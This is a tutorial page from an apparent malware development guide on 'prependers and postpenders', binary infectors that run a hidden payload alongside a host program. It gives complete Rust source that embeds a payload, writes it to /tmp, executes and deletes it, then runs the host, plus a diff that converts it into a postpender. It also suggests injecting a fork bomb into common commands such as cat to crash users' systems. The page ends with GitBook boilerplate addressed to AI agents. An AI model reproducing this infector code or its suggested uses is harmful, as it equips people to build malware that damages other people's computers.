> For the complete documentation index, see [llms.txt](https://arachn3.gitbook.io/malware-development-guide/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://arachn3.gitbook.io/malware-development-guide/basic-malware/prependers-and-postpenders.md).

# Prependers and Postpenders

What's a *prepender* you ask? Well, at the time of writing this section, I found an article by [@guitmz](https://github.com/guitmz) titled: [**"Linux.Fe2O3: a Rust virus"**](https://www.guitmz.com/linux-fe2o3-rust-virus/)  while looking for malware written in Rust (PoC mostly). This is where I encountered the term "prepender". As the name suggests the program aims to pre-append something to something. Long story short, it's essentially a kind of binary-infector/code-injector. A prepender injects some binary instructions at the *beginning of the program*, while a postpender would inject the same at the *end of the program.* Sounds lame, but it can really do some damage if paired with other types of malware.&#x20;

Anyways, this is a nice bit of insight on how one may inject binary instructions into an executable (not quite *that* since we're literally just placing them on one side of the executable rather than actually injecting them) and cause it to do all kinda cool stuff, heck, you can probably compile a fork bomb and inject those instructions straight into something common like `cat` or `explorer.exe` and enjoy the show! Every time the user would try and use these basic commands, their systems would hang/crash.&#x20;

As [@guitmz](https://github.com/guitmz) mentions in his blog, *A prepender works by appending its code to the start of the host file, and during execution, it runs itself and the host file.* There're a lot of ways we could go about making a prepended program. It's usually useful to have a look at how stuff *could* be done before implementing an automated solution. Here are some of the approaches:

1. We could manually extract binary instructions from the target and payload executable files and hard code them into a single program, which can then be compiled and replace the target program.
2. As done in the blog, we could make a temporary file and then insert the payload's instructions first, followed by the target program's instructions. This can be run when we run the prepender program.&#x20;
3. We could just prepend the payload instructions to the target, thus permanently changing/modifying the target (destructive approach)
4. Make a self-modifying program that uses some sort of shellcode-y approach to modify itself so as to integrate the target and payload instructions within itself and destroy itself once the program execution is done. (self-destructive program)

To keep things simple and to get some content out there, I'll just do a blend of **Approach 2** and **Approach 3**. Here's how it works:&#x20;

* Get the payload instructions
* Write the payload instructions to a temporary file and execute it.
* Execute the target program.&#x20;

I'm making it so that it does not modify either the payload or the target. However, we can make a slight change and make it into a destructive approach (keep reading if you wanna know :wink:)

Let's keep the target and payload programs simple:

```c
// payload.c
#include <stdio.h>

int main() {
    printf("INFECTED!!\n");
    return 0;
}
```

```c
// host.c (The target)
#include <stdio.h>

int main() {
    printf("Target executed\n");
    return 0;
}
```

These could quickly be compiled like so:

```shell-session
$ make payload host
cc     payload.c -o payload
cc     host.c    -o host
```

I too, will be using the good ol' rust (I'm currently working on a zig implementation but that language documentation will be the end of me). First comes including the instructions from the payload using the `std::`[`include_bytes!`](https://dev-doc.rust-lang.org/beta/std/macro.include_bytes.html) macro:&#x20;

```rust
let bytes = include_bytes!("PATH_TO_PAYLOAD_EXECUTABLE");
```

You can also manually read the file too, but this is simpler and easier so I'm using it :P

Next, we need some program logic that places this data into a temporary file and executes it. Here's what I have for that:

```rust
fn execute_payload(b: &'static [u8]) {
    let mut options = OpenOptions::new();
    
    options.create(true);
    options.write(true);
    options.mode(0o755);

    let mut payload_file = match options.open("/tmp/payload") {
        Ok(v) => v,
        Err(e) => {
            panic!("{:#?}", e);
        },
    }; 
    // Just for the sake of debugging ngl, 
    // it'd be better to remove the match 
    // and just quietly unwrap.
    payload_file.write_all(b).unwrap();
    payload_file.sync_all().unwrap();
    payload_file.flush().unwrap();
    
    drop(payload_file);
    Command::new("/tmp/payload").spawn().unwrap();
    std::fs::remove_file("/tmp/payload").unwrap();
}
```

Using this, we can quickly execute the payload with:

```rust
execute_payload(bytes);
```

Next comes the execution of the target/host executable:

```rust
Command::new("PATH_TO_TARGET").spawn().unwrap();
```

So the final program looks something like:

```rust
use std::io::prelude::*;
use std::fs::OpenOptions;
use std::process::Command;
use std::os::unix::fs::OpenOptionsExt;

fn main() { 
    let bytes = include_bytes!("payload");
    
    execute_payload(bytes);
    Command::new("host").spawn().unwrap();
}

fn execute_payload(b: &'static [u8]) {
    let mut options = OpenOptions::new();
    
    options.create(true);
    options.write(true);
    options.mode(0o755);

    let mut payload_file = match options.open("/tmp/payload") {
        Ok(v) => v,
        Err(e) => {
            panic!("{:#?}", e);
        },
    };
    payload_file.write_all(b).unwrap();
    payload_file.sync_all().unwrap();
    payload_file.flush().unwrap();
    
    drop(payload_file);
    Command::new("/tmp/payload").spawn().unwrap();
    std::fs::remove_file("/tmp/payload").unwrap();
}
```

That's all! Here's the `Cargo.toml` file:

```toml
[package]
name = "prepender"
version = "0.1.0"
edition = "2021"

[profile.release]
opt-level = 'z'     # Optimize for size
lto = true          # Enable link-time optimization
codegen-units = 1   # Reduce number of codegen units to increase optimizations
panic = 'abort'     # Abort on panic
strip = true        # Strip symbols from binary*

# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

[dependencies]
```

If you're curious about the release profile, check [this SO post](https://stackoverflow.com/questions/29008127/why-are-rust-executables-so-huge) and [this GitHub repo](https://github.com/johnthagen/min-sized-rust). But when we run the program, we can see that the payload is successfully executed before the target:

```shell-session
$ cargo build --release
   Compiling prepender v0.1.0 ($HOME/Projects/prepender)
    Finished release [optimized] target(s) in 2.57s
$ ./target/debug/prepender
INFECTED!!
Target executed
```

An improvement to this would be to include the instructions from the target rather than the payload, this way, we can replace the target. For converting this into a postpender, simply move the `execute_payload` function call, like so:

```diff
- execute_payload(bytes);
- Command::new("host").spawn().unwrap();
    
+ Command::new("host").spawn().unwrap().try_wait();
+ execute_payload(bytes);
```

Also, the extra `try_wait` is just for good measure since it's possible that our payload may get executed before the host/target finishes executing.

> Be sure to be on a lookout for the zig implementation\~

{% embed url="<https://github.com/NovusEdge/prepender>" %}

### References

* <https://security.stackexchange.com/questions/157946/injection-of-code-into-executable-size-question>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://arachn3.gitbook.io/malware-development-guide/basic-malware/prependers-and-postpenders.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
